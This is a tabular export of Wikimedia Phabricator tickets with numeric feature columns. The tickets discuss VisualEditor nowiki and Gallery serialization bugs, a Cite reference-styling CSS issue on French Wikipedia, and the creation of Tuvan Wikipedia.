250771,VisualEditor: Misc. issues,"MZMcBride: For future reference, only one single bug per report please. Also see https://www.mediawiki.org/wiki/How_to_report_a_bug . I'd normally close such tickets as INVALID and ask the reporter to file separate tickets.",,,1370992657,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-oqao2yl4prg5uecpylkw,task_subcomment,,True,c1,2,True,,,-3,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,3.0,0.0,11.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,17.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,11.0,3.0,3.0,0.0,3.0,11.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.2,0.9142857142857143,"MZMcBride: For future reference, only one single bug per report please. Also see URL . I'd normally close such tickets as INVALID and ask the reporter to file separate tickets."
250765,VisualEditor: Misc. issues,"The <nowiki> tags in Cite transclusions in ref tags is a Parsoid bug.  I have that on my radar -- will look into that next possibly.

As for <nowiki> tags in other places, looking at bug reports on parsoid.wmflabs.org, there are three different reasons

* due to the bug in ref-tags I mentioned above

* user entering wikitext in the visual editor (Ex: ==See also==* [[Tomato (company)]] in https://en.wikipedia.org/w/index.php?title=Underworld_(band)&diff=prev&oldid=559255806 based on looking at the HTML sent to Parsoid).  I've seen wikitext entered via VE in a few bug reports -- all such wikitext will be nowiki escaped by Parsoid

* Empty heading left behind in the visual editor (tracked in Bug 49452)",,,1370984493,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-oqao2yl4prg5uecpylkw,task_subcomment,,True,c1,2,True,,,-3,,1.5,0.0,0.0,0.0,0.0,7.5,1.0,0.0,0.0,0.0,6.0,0.5,0.0,0.0,0.5,2.0,0.0,1.0,13.5,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,1.0,0.0,1.0,0.5,3.0,2.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,18.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,4.5,1.5,10.5,0.0,0.0,6.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,2.0,13.5,3.5,0.0,0.0,0.0,2.0,0.0,0.0,1.0,0.0,1.5,0.0,0.0,3.0,3.5972222222222223,0.7361111111111112,"The <nowiki> tags in Cite transclusions in ref tags is a Parsoid bug.  I have that on my radar -- will look into that next possibly.

As for <nowiki> tags in other places, looking at bug reports on parsoid.wmflabs.org, there are three different reasons

* due to the bug in ref-tags I mentioned above

* user entering wikitext in the visual editor (Ex: ==See also==* [[Tomato (company)]] in URL based on looking at the HTML sent to Parsoid).  I've seen wikitext entered via VE in a few bug reports -- all such wikitext will be nowiki escaped by Parsoid

* Empty heading left behind in the visual editor (tracked in Bug 49452)"
250760,VisualEditor: Misc. issues,"Expansion wtf (warning: large diff):

https://en.wikipedia.org/w/index.php?title=Breast_cancer&diff=558696523&oldid=558695500",,,1370895676,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-oqao2yl4prg5uecpylkw,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7,1.0,"Expansion wtf (warning: large diff):

URL"
250754,VisualEditor: Misc. issues,"(In reply to comment #3)
> Misspelling trap:
> 
> https://en.wikipedia.org/w/index.
> php?title=Pepsi_Next&curid=35519554&diff=559230837&oldid=559223494
That one isn't a serialization or round-tripping bug. The user edited the text of the link, but didn't edit the target.

Arguably, links where the text equals the target should have the target track the text when the user edits them. Or maybe they shouldn't. James?

(In reply to comment #2)
> <Gallery> funkiness:
> 
> https://en.wikipedia.org/w/index.
> php?title=British_Rail_Class_50&curid=1448622&diff=559199747&oldid=558786539
Probably a Parsoid bug due to Gallery being capitalized. CCing Gabriel.

The nowiki issues also look like Parsoid serialization bugs to me.",,,1370895167,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-oqao2yl4prg5uecpylkw,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.0,0.0,1.0,2.0,1.0,0.5,0.0,0.0,0.0,1.5,2.0,0.0,0.0,0.0,1.0,0.0,6.0,6.5,0.0,1.5,1.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,2.5,0.0,0.0,2.5,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,1.5,0.0,0.0,7.5,1.5,15.5,1.5,2.0,8.0,0.0,0.0,0.0,1.5,3.0,0.0,1.5,0.0,2.5,6.5,7.5,1.0,0.0,0.0,2.5,0.0,1.5,1.5,1.5,0.0,0.0,0.0,0.0,3.5999999999999996,0.7166666666666666,"(In reply to comment #3)
QUOTE
QUOTE
QUOTE
QUOTE
That one isn't a serialization or round-tripping bug. The user edited the text of the link, but didn't edit the target.

Arguably, links where the text equals the target should have the target track the text when the user edits them. Or maybe they shouldn't. James?

(In reply to comment #2)
QUOTE
QUOTE
QUOTE
QUOTE
Probably a Parsoid bug due to Gallery being capitalized. CCing Gabriel.

The nowiki issues also look like Parsoid serialization bugs to me."
250749,VisualEditor: Misc. issues,"<nowiki> funkiness:

https://en.wikipedia.org/w/index.php?title=Louis-J%C3%A9r%C3%B4me_Gohier&curid=2785680&diff=558445883&oldid=542944471",,,1370894826,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-oqao2yl4prg5uecpylkw,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,3.2857142857142856,1.0,"<nowiki> funkiness:

URL"
250743,VisualEditor: Misc. issues,"Misspelling trap:

https://en.wikipedia.org/w/index.php?title=Pepsi_Next&curid=35519554&diff=559230837&oldid=559223494",,,1370889236,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-oqao2yl4prg5uecpylkw,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,40.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,4.2,1.0,"Misspelling trap:

URL"
250737,VisualEditor: Misc. issues,"<Gallery> funkiness:

https://en.wikipedia.org/w/index.php?title=British_Rail_Class_50&curid=1448622&diff=559199747&oldid=558786539",,,1370888839,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-oqao2yl4prg5uecpylkw,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.4285714285714284,1.0,"<Gallery> funkiness:

URL"
250731,VisualEditor: Misc. issues,"This bug is probably a wash in terms of being an actionable report, so I'll just use it to log other diffs I'm coming across via <https://en.wikipedia.org/w/index.php?title=Special:RecentChanges&tagfilter=visualeditor>.


<nowiki> corruption:

https://en.wikipedia.org/w/index.php?title=Black_Country_Communion&curid=25818560&diff=559205644&oldid=547680063


<nowiki/> weirdness:

https://en.wikipedia.org/w/index.php?title=Lightning_(software)&diff=prev&oldid=559252596


Possible unintentional HTML comment removal; <nowiki> corruption:

https://en.wikipedia.org/w/index.php?title=Underworld_(band)&diff=prev&oldid=559255806",,,1370888558,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-oqao2yl4prg5uecpylkw,task_subcomment,,True,c1,2,False,,,-3,,0.0,0.0,0.0,0.0,0.0,7.0,3.0,0.0,0.0,0.0,2.0,3.0,0.0,0.0,0.0,3.0,0.0,3.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,3.0,0.0,2.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,15.0,2.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,5.0,10.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,11.0,3.737704918032787,0.7213114754098361,"This bug is probably a wash in terms of being an actionable report, so I'll just use it to log other diffs I'm coming across via <URL


<nowiki> corruption:

URL


<nowiki/> weirdness:

URL


Possible unintentional HTML comment removal; <nowiki> corruption:

URL"
51346,"Cite CSS should be adjusted by wikis to set a non-standard rendering style (e.g. 1.0, 1.1 / a,b,c, removing brackets, etc.)","There are a couple of ways to configure references to display differently:
http://www.mediawiki.org/wiki/Extension:Cite/Cite.php#Set_references_to_use_.5E_and_letters_like_Wikipedia
we should access these so the rendering in edit mode is consistent with the that in read mode.
",Medium,50.0,1370728680,,PHID-USER-it53o2f2kyryqyj33uzt,False,,False,PHID-TASK-bhc7xmtcptcglmeqxvai,task_description,open,True,c1,2,True,False,,-4,,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,3.0,3.0,0.0,3.0,22.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,22.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,6.0,6.0,6.0,0.0,11.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,3.0,22.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.055555555555555,0.8333333333333334,"There are a couple of ways to configure references to display differently:
URL
we should access these so the rendering in edit mode is consistent with the that in read mode.
"
639683,"Cite CSS should be adjusted by wikis to set a non-standard rendering style (e.g. 1.0, 1.1 / a,b,c, removing brackets, etc.)",">>! In T51346#2174472, @Trizek-WMF wrote:
>>>! In T51346#2173928, @Jdforrester-WMF wrote:
>> This requires changes to Common.css (or some other site-level styling script) to change the rendering. However, I'd invite wikis to seriously consider whether they really want to vary from every other wiki's rendering.
> 
> On the reverse order, what prevents you to use the Common.css as it is? I mean, on a WYSIWYG system, you expect to have the same rendering both on reading and editing, which is what has been defined in the Common.css or in website settings.

Because Cite doesn't yet use these styles in read mode (that's {T104927}, which is in fact blocked by doing this). :-)",,,1459673675,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bhc7xmtcptcglmeqxvai,task_subcomment,,True,c1,3,True,,,143,,0.0,0.0,0.0,0.0,3.0,0.0,3.0,3.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,5.0,3.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,21.0,3.0,0.0,10.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,15.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,3.3076923076923075,0.7948717948717948,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Because Cite doesn't yet use these styles in read mode (that's {T104927}, which is in fact blocked by doing this). :-)"
639673,"Cite CSS should be adjusted by wikis to set a non-standard rendering style (e.g. 1.0, 1.1 / a,b,c, removing brackets, etc.)",">>! In T51346#2173928, @Jdforrester-WMF wrote:
> This requires changes to Common.css (or some other site-level styling script) to change the rendering. However, I'd invite wikis to seriously consider whether they really want to vary from every other wiki's rendering.

On the reverse order, what prevents you to use the Common.css as it is? I mean, on a WYSIWYG system, you expect to have the same rendering both on reading and editing, which is what has been defined in the Common.css or in website settings.

Thank you for the fix, by the way. ",,,1459672642,,PHID-USER-uciss2jl2e4ifxqqk7wk,False,,,PHID-TASK-bhc7xmtcptcglmeqxvai,task_subcomment,,True,c1,3,False,,,143,,0.0,0.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,15.0,0.0,3.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,11.0,3.0,2.0,0.0,5.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,5.0,12.0,0.0,3.0,14.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,8.0,15.0,3.0,2.0,0.0,0.0,8.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,3.606060606060606,0.696969696969697,"QUOTE
QUOTE

On the reverse order, what prevents you to use the Common.css as it is? I mean, on a WYSIWYG system, you expect to have the same rendering both on reading and editing, which is what has been defined in the Common.css or in website settings.

Thank you for the fix, by the way. "
639607,"Cite CSS should be adjusted by wikis to set a non-standard rendering style (e.g. 1.0, 1.1 / a,b,c, removing brackets, etc.)","The change for frwiki to make it look like their current local customisation is roughly: 
``` lang=css
/* French Wikipedia over-ride of styling for <ref>s */
span.mw-ref a::after {
  content: counter(mw-Ref,decimal);
} 
```",,,1459667425,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bhc7xmtcptcglmeqxvai,task_subcomment,,True,c1,3,True,,,143,,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,14.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,9.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,9.0,14.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.772727272727273,0.8636363636363636,"The change for frwiki to make it look like their current local customisation is roughly: 
``CODE``"
639604,"Cite CSS should be adjusted by wikis to set a non-standard rendering style (e.g. 1.0, 1.1 / a,b,c, removing brackets, etc.)","This requires changes to Common.css (or some other site-level styling script) to change the rendering. However, I'd invite wikis to seriously consider whether they really want to vary from every other wiki's rendering.",,,1459667268,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bhc7xmtcptcglmeqxvai,task_subcomment,,True,c1,3,True,,,143,,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,7.0,14.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,10.0,2.0,2.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,5.0,14.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.428571428571429,0.8571428571428571,"This requires changes to Common.css (or some other site-level styling script) to change the rendering. However, I'd invite wikis to seriously consider whether they really want to vary from every other wiki's rendering."
639597,"Cite CSS should be adjusted by wikis to set a non-standard rendering style (e.g. 1.0, 1.1 / a,b,c, removing brackets, etc.)","Got a feedback about it during a workshop: on fr.wp, footnotes are labelled as ""a, b, c""... in reading mode and ""3.0, 3.1, 3.2""... on edit mode. Plus, notes on the text don't have brackets on reading mode and have them on editing mode.",,,1459666387,,PHID-USER-uciss2jl2e4ifxqqk7wk,False,,,PHID-TASK-bhc7xmtcptcglmeqxvai,task_subcomment,,True,c1,3,False,,,143,,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,2.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,3.0,0.0,5.0,7.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,3.0,17.0,2.0,0.0,7.0,0.0,3.0,0.0,0.0,5.0,2.0,5.0,0.0,0.0,0.0,3.2,0.6333333333333333,"Got a feedback about it during a workshop: on fr.wp, footnotes are labelled as ""a, b, c""... in reading mode and ""3.0, 3.1, 3.2""... on edit mode. Plus, notes on the text don't have brackets on reading mode and have them on editing mode."
248012,"Cite CSS should be adjusted by wikis to set a non-standard rendering style (e.g. 1.0, 1.1 / a,b,c, removing brackets, etc.)",I74d4878 will let us fix this.,,,1413330448,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-bhc7xmtcptcglmeqxvai,task_subcomment,,True,c1,3,True,,,67,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,14.0,0.0,14.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,3.5714285714285716,1.0,I74d4878 will let us fix this.
248005,"Cite CSS should be adjusted by wikis to set a non-standard rendering style (e.g. 1.0, 1.1 / a,b,c, removing brackets, etc.)","I think that this is the same problem:

Footnotes created with the ref group <ref group=lower-alpha> are displayed in the saved page as [a], [b], etc.  If you open them in VisualEditor, they display (while editing) as [lower-alpha 1], [lower-alpha 2], etc. instead of [a], [b], etc.",,,1407177406,,PHID-USER-uf3buojo4ceizjywvyn5,False,,,PHID-TASK-bhc7xmtcptcglmeqxvai,task_subcomment,,True,c1,3,False,,,57,,0.0,0.0,0.0,1.0,0.0,5.0,1.0,0.0,0.0,1.0,6.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,11.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,13.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,5.0,4.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,11.0,2.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,1.0,0.0,4.0,0.0,24.0,2.8214285714285716,0.5952380952380952,"I think that this is the same problem:

Footnotes created with the ref group <ref group=lower-alpha> are displayed in the saved page as [a], [b], etc.  If you open them in VisualEditor, they display (while editing) as [lower-alpha 1], [lower-alpha 2], etc. instead of [a], [b], etc."
247996,"Cite CSS should be adjusted by wikis to set a non-standard rendering style (e.g. 1.0, 1.1 / a,b,c, removing brackets, etc.)",*** Bug 51453 has been marked as a duplicate of this bug. ***,,,1379788309,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-bhc7xmtcptcglmeqxvai,task_subcomment,,True,c1,3,False,,,11,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51453 has been marked as a duplicate of this bug. ***
51328,Create Wikipedia Tuvan,"The language committee and WMF Board have approved the creation of Wikipedia Tuvan.

Language code: tyv
Site URL: tyv.wikipedia.org
Project name: Википедия
Project namespace: Википедия
Project talk namespace: Википедия дугайында сүмелел
Project logo: http://commons.wikimedia.org/wiki/File:Wikipedia-logo-v2-tyv.png
Timezone: Asia/Krasnoyarsk
Language name: Тыва дыл
Enable uploads: yes


Thank you.

--------------------------
**Version**: wmf-deployment
**Severity**: enhancement
**URL**: //meta.wikimedia.org/wiki/Requests_for_new_languages/Wikipedia_Tuvan",Medium,50.0,1370654940,1376684880.0,PHID-USER-7e4yonmruupxzg23swum,False,,False,PHID-TASK-trlh3c7s2ff2x2avhgoo,task_description,resolved,True,c1,2,False,False,True,-4,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.5,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,19.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.5,19.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.519607843137255,0.607843137254902,"The language committee and WMF Board have approved the creation of Wikipedia Tuvan.

Language code: tyv
Site URL: tyv.wikipedia.org
Project name: Википедия
Project namespace: Википедия
Project talk namespace: Википедия дугайында сүмелел
Project logo: URL
Timezone: Asia/Krasnoyarsk
Language name: Тыва дыл
Enable uploads: yes


Thank you.

--------------------------
**Version**: wmf-deployment
**Severity**: enhancement
**URL**: //meta.wikimedia.org/wiki/Requests_for_new_languages/Wikipedia_Tuvan"
247158,Create Wikipedia Tuvan,"(In reply to comment #28)
> (In reply to comment #27)
> > (In reply to comment #26)
> > > RT ticket created for addition of lucene search indexes
> > > https://rt.wikimedia.org/Ticket/Display.html?id=5588
> > 
> > But where's VisualEditor
> 
> Thank you very much for this reminder! I added it here (I think):
> https://gerrit.wikimedia.org/r/#/c/79321/

The VisualEditor can now be enabled in the preferences.",,,1376684880,,PHID-USER-xfe43w2lb5gpvglf4coa,False,,,PHID-TASK-trlh3c7s2ff2x2avhgoo,task_subcomment,,True,c1,3,False,,,6,,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,3.0,32.0,0.0,0.0,5.0,0.0,0.0,0.0,3.0,5.0,0.0,3.0,0.0,0.0,8.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.3513513513513513,0.5675675675675675,"(In reply to comment #28)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

The VisualEditor can now be enabled in the preferences."
247152,Create Wikipedia Tuvan,"Change 79321 merged by jenkins-bot:
Add tyv.wikipedia to projects with visualeditor

https://gerrit.wikimedia.org/r/79321",,,1376665033,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-trlh3c7s2ff2x2avhgoo,task_subcomment,,True,c1,3,False,,,6,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,18.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0588235294117645,1.0,"Change 79321 merged by jenkins-bot:
Add tyv.wikipedia to projects with visualeditor

GERRIT_URL"
247145,Create Wikipedia Tuvan,"Change 79321 had a related patch set uploaded by Amire80:
Add tyv.wikipedia to projects with visualeditor

